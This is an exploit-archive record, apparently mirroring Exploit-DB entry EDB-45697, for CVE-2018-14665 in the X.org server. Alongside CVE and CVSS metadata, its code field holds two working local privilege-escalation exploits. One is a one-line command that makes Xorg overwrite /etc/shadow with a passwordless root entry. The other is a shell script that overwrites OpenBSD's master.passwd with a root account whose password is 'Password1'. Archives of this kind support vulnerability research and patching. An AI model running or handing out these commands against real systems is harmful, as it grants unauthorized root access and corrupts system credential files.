{"exploit":{"id":"EDB-45697","name":"xorg-x11-server < 1.20.3 - Local Privilege Escalation (LPE)","description":"xorg-x11-server < 1.20.3 - Local Privilege Escalation (LPE)","cves":["CVE-2018-14665"],"author":"Hacker Fantastic","published":"2018-10-25","platform":"multiple","type":"local","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/45697","path":"exploits/multiple/local/45697.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-45697.txt","vulnerabilities":[{"id":"CVE-2018-14665","state":"PUBLISHED","title":null,"titleSource":null,"description":"A flaw was found in xorg-x11-server before 1.20.3. An incorrect permission check for -modulepath and -logfile options when starting Xorg. X server allows unprivileged users with the ability to log in to the system via physical console to escalate their privileges and run arbitrary code under root privileges.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2018-14665","cvss":{"version":"3.0","baseScore":6.6,"severity":"medium","vectorString":"CVSS:3.0/AV:P/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2018-14665"},"updatedAt":"2024-08-05T09:38:13.000Z","retrievedAt":"2026-11-26T07:07:38.278Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-45697.png?v=2","url":"https://exploitbin.com/exploits/EDB-45697","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-45697/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-45697/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#CVE-2018-14665 - a LPE exploit via http://X.org  fits in a tweet\n\ncd /etc; Xorg -fp \"root::16431:0:99999:7:::\"  -logfile shadow  :1;su\n\nOverwrite shadow (or any) file on most Linux, get root privileges. *BSD and any other Xorg desktop also affected.\n\n\n\n\n\n#!/bin/sh\n# local privilege escalation in X11 currently\n# unpatched in OpenBSD 6.4 stable - exploit\n# uses cve-2018-14665 to overwrite files as root.\n# Impacts Xorg 1.19.0 - 1.20.2 which ships setuid\n# and vulnerable in default OpenBSD.\n#\n# - https://hacker.house\necho [+] OpenBSD 6.4-stable local root exploit\ncd /etc\nXorg -fp 'root:$2b$08$As7rA9IO2lsfSyb7OkESWueQFzgbDfCXw0JXjjYszKa8Aklt5RTSG:0:0:daemon:0:0:Charlie &:/root:/bin/ksh' -logfile master.passwd :1 &\nsleep 5\npkill Xorg\necho [-] dont forget to mv and chmod /etc/master.passwd.old back\necho [+] type 'Password1' and hit enter for root\nsu -\n\n\nEBB Note ~ Another version of it: https://gist.github.com/0x27/d8aae5de44ed385ff2a3d80196907850","sha256":"13ab16539bb22d2f62149644205d410ba68b0ccf0c5b02daf46aba9a903a16be","bytes":955,"fetchedAt":"2026-11-26T14:05:24.828Z","encoding":"utf-8 (display only; download retains original bytes)"}